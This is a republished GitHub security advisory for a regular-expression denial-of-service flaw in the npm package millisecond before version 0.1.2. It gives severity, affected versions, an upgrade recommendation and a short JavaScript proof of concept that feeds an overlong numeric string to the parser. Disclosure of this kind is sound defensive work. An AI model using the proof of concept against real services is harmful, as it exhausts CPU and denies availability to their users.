# GHSA-m489-xr35-fjxr: Regular Expression Denial of Service in millisecond

- Severity: Medium (rating, scored by GitHub)
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2021-09-22T20:35:08.000Z
- Modified: 2021-09-22T20:34:42.000Z
- Weaknesses: CWE-400, CWE-1333

## Description

Versions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.


## Proof of concept
```
var ms = require('millisecond');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");
```


## Recommendation

Update to version 0.1.2 or later.

(As written by GitHub Advisory Database.)

## Affected

- millisecond (npm): before 0.1.2

## References

- <https://github.com/unshiftio/millisecond/pull/4> (web)
- <https://www.npmjs.com/advisories/59> (web)

## Sources

- GitHub Advisory Database: [GHSA-m489-xr35-fjxr](https://github.com/advisories/GHSA-m489-xr35-fjxr), CC-BY-4.0, modified 2021-09-22

---

Page: https://cve.day/GHSA-m489-xr35-fjxr · Whole record: https://cve.day/GHSA-m489-xr35-fjxr.json · Rebuilt by cve.day 2026-11-25T22:56:45.873Z
